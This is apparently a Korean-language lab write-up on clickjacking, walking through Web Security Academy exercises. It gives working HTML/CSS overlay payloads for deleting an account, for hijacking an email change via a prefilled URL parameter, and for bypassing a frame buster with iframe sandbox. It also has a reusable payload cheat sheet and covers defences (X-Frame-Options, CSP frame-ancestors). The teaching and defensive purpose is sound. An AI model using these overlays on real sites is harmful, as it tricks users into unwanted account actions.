Clickjacking

Clickjacking

in

Clickjacking (UI redressing)

๐Ÿ”Ž What is Clickjacking?

ํด๋ฆญ์žฌํ‚น์€ iframe ์š”์†Œ์™€ CSS๋ฅผ ์ด์šฉํ•ด ํˆฌ๋ช…ํ•˜๊ฒŒ ๋งŒ๋“  ๊ณต๊ฒฉ ๋Œ€์ƒ ์‚ฌ์ดํŠธ๋ฅผ ํ•จ์ • ์‚ฌ์ดํŠธ์™€ ์„œ๋กœ ๊ฒน์ณ์„œ ์‚ฌ์šฉ์ž๋Š” ์ •์ƒ์ ์ธ ๋ฒ„ํŠผ์„ ํด๋ฆญํ–ˆ๋‹ค๊ณ  ์ƒ๊ฐํ•˜์ง€๋งŒ ๊ณต๊ฒฉ ๋Œ€์ƒ ์‚ฌ์ดํŠธ๋ฅผ ํด๋ฆญํ•˜๋„๋ก ์œ ๋„ํ•˜๋Š” ๊ณต๊ฒฉ ๊ธฐ๋ฒ•์ž…๋‹ˆ๋‹ค.

์ด๋ฏธ์ง€ 1

Basic Clickjacking with CSRF token protection

๊ณ„์ • ํŽ˜์ด์ง€์—์„œ Delete account ๋ฒ„ํŠผ์— Click me ๋ฅผ ์ƒ์„ฑํ•˜๋Š” ํด๋ฆญ์žฌํ‚น์„ ์ด์šฉํ•œ ์ทจ์•ฝ์ ์ž…๋‹ˆ๋‹ค

์ด๋ฏธ์ง€ 2 Delete account ๋ฒ„ํŠผ ์œ„์น˜ ํ™•์ธ

iframe์„ ์ƒ์„ฑํ•˜์—ฌ click me ๋ฅผ delete ๋ฒ„ํŠผ์— ์ƒ์„ฑ
๊ณต๊ฒฉ์ฝ”๋“œ์—์„œ๋Š” click me์™€ delete ๋ฒ„ํŠผ์˜ ์œ„์น˜ ๋™๊ธฐํ™”๋ฅผ ์œ„ํ•ด opacity:0.1; ์„ ํ•˜์—ฌ px์„ ์กฐ์ •ํ•˜์˜€์ง€๋งŒ ์‹ค์ œ ๊ณต๊ฒฉ์—์„œ๋Š” 0 ์œผ๋กœ ํ•˜์—ฌ iframe ํŽ˜์ด์ง€๋ฅผ ๋ถˆํˆฌ๋ช…์œผ๋กœ ํ•˜์—ฌ์•ผํ•จ

<style>
   iframe {
       position:relative;
       width:700px;
       height: 600px;
       opacity: 0.1;
       z-index: 2;
   }
   div {
       position:absolute;
       top:500px;
       left:60px;
       z-index: 1;
   }
</style>
<div>Click me</div>
<iframe src="https://accf1fc41fd13ac2c0044c3100f3000b.web-security-academy.net/my-account"></iframe>
Clickjacking with form input data prefilled from a URL parameter

GET๋ฐฉ์‹์œผ๋กœ ์ด๋ฉ”์ผid๋ฅผ ๋ฐ›์•„์˜ค๋Š” URL์—์„œ emailํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ์ด์šฉํ•˜์—ฌ email์— ์ž…๋ ฅ๊ฐ’์„ ๋ฏธ๋ฆฌ ๋„ฃ์–ด์ค€ ํ›„ Clickjacking์„ ์ด์šฉํ•˜๋Š” ์ทจ์•ฝ์ ์ž…๋‹ˆ๋‹ค.

์ด๋ฏธ์ง€ 3 Update email ๋ฒ„ํŠผ ์œ„์น˜ ํ™•์ธ

Email ์ž…๋ ฅ์นธ์ด ๋น„์–ด์žˆ์ง€๋งŒ URL์—์„œ /my-account?email=hacker@attacker-website.com ์œผ๋กœ ์ž…๋ ฅ์‹œ ์ž๋™์œผ๋กœ Eamil ์ž…๋ ฅ์นธ์ด hacker@attacker-website.com์œผ๋กœ ์ฑ„์›Œ์ง€๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

<style>
   iframe {
       position:relative;
       width:600px;
       height: 700px;
       opacity: 0.1;
       z-index: 2;
   }
   div {
       position:absolute;
       top:450px;
       left:70px;
       z-index: 1;
   }
</style>
<div>Click me</div>
<iframe src="https://acd01fcb1faafa05c0cd57130086000a.web-security-academy.net/my-account?email=hacker@attacker-website.com"></iframe>

์ด๋ฏธ์ง€ 4 click me div ์ƒ์„ฑ

Clickjacking with a frame buster script

์›น๋ธŒ๋ผ์šฐ์ €๋ฅผ ํ†ตํ•ด ์‹คํ–‰๋˜๋Š” iframe์„ ๋ณดํ˜ธํ•˜๋Š” ๊ธฐ๋ฒ•์— Javascript, Noscript๋ฅผ ํ†ตํ•ด frame buster ๋˜๋Š” ํ”„๋ ˆ์ž„ ์ฐจ๋‹จ ๊ธฐ๋Šฅ์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

frame buster๊ธฐ๋Šฅ์€ ๋ธŒ๋ผ์šฐ์ € ํ”Œ๋žซํผ์— ๋”ฐ๋ผ ๋‹ค๋ฅด์ง€๋งŒ HTML์˜ ์œ ์—ฐ์„ฑ์„ํ†ตํ•ด HTML5 iframe sandbox์†์„ฑ์˜ allow-forms ๋˜๋Š” aloow-scripts๊ฐ’์„ ์‚ฌ์šฉํ•˜์—ฌ ์‚ฌ์šฉํ•ด ๊ณต๊ฒฉ์ž๊ฐ€ ์šฐํšŒ๋ฅผ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
allow-top-navigation๊ฐ’์„ ์ƒ๋žตํ•˜๋ฉด iframe์ด ์ƒ์œ„ ์ฐฝ์ธ์ง€ ์—ฌ๋ถ€๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์—†์œผ๋ฏ€๋กœ frame buster ๋ฅผ ๋ฌดํšจํ™” ์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด๋ฏธ์ง€ 6 sandbox ์†์„ฑ๊ฐ’

<style>
   iframe {
       position:relative;
       width:700px;
       height: 600px;
       opacity: 0.1;
       z-index: 2;
   }
   div {
       position:absolute;
       top:450px;
       left:50px;
       z-index: 1;
   }
</style>
<div>click me</div>
<iframe sandbox="allow-forms"
src="https://ac871f2e1ef0fd69c0c805440083006f.web-security-academy.net/my-account?email=hacker@attacker-website.com"></iframe>

์ด๋ฏธ์ง€ 5 sandbox allow-forms์ด์šฉ



๐Ÿ”ฅ Cheat sheet

  • Basic div exploit
<style>
   iframe {
       position:relative;
       width:$width_value;
       height: $height_value;
       opacity: $opacity;
       z-index: 2;
   }
   div {
       position:absolute;
       top:$top_value;
       left:$side_value;
       z-index: 1;
   }
</style>
<div>Click me</div>
<iframe src="$url"></iframe>
  • Bypass frame buster script
<style>
   iframe {
       position:relative;
       width:700px;
       height: 600px;
       opacity: 0;
       z-index: 2;
   }
   div {
       position:absolute;
       top:450px;
       left:50px;
       z-index: 1;
   }
</style>
<div>click me</div>
<iframe sandbox="allow-forms"
src="URL"></iframe>

๐Ÿ‘€ How to Prevent ?

  • X-Frame-Options

X-Frame-Options์€ IE8์—์„œ ์ถ”๊ฐ€๋˜์–ด ๋‹ค๋ฅธ ๋ธŒ๋ผ์šฐ์ €๋“ค์—์„œ๋„ ์‚ฌ์šฉ๋˜๋Š” Response Header ์ž…๋‹ˆ๋‹ค.
ํ—ค๋”๋Š” ์›น์‚ฌ์ดํŠธ ์†Œ์œ ์ž์—๊ฒŒ iframe ๋˜๋Š” ๊ฐœ์ฒด์˜ ์‚ฌ์šฉ์„ ์ œ์–ดํ•  ์ˆ˜ ์žˆ๋Š” ๊ถŒํ•œ์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.

// Frame์ƒ์— ์›นํŽ˜์ด์ง€๋ฅผ ํฌํ•จํ•˜๋Š”๊ฒƒ์„ ๊ธˆ์ง€
X-Frame-Options: deny 

// ์›น์‚ฌ์ดํŠธ์˜ ๋™์ผํ•œ ์ถœ์ฒ˜๋งŒ ์‚ฌ์šฉ ๊ฐ€๋Šฅ
X-Frame-Options: sameorigin 

// ์ง€์ •ํ•œ ํŠน์ • url๋งŒ ์‚ฌ์šฉ ๊ฐ€๋Šฅ
X-Frame-Options: allow-from https://normal-website.com 

X-Frame-Options์€ ์—ฌ๋Ÿฌ ๋ธŒ๋ผ์šฐ์ €์—์„œ ์ผ๊ด€๋˜๊ฒŒ ๊ตฌํ˜„๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค(allow-from์€ Chrome 76๋ฒ„์ „ or Safari12์—์„œ๋Š” ์ง€์›ํ•˜์ง€ ์•Š์Œ)

  • CSP (Content-Security-Policy)

์ฝ˜ํ…์ธ  ๋ณด์•ˆ ์ •์ฑ…(CSP)์€ XSS ๋ฐ ClickJacking๊ณผ ๊ฐ™์€ ๊ณต๊ฒฉ์„ ์˜ˆ๋ฐฉํ•˜๊ธฐ ์œ„ํ•œ ๋ฉ”์ปค๋‹ˆ์ฆ˜ ์ž…๋‹ˆ๋‹ค.

Content-Security-Policy: frame-ancestors 'self';

Content-Security-Policy: frame-ancestors normal-website.com;

๐Ÿž BugBounty Write up


๐Ÿ“ƒ References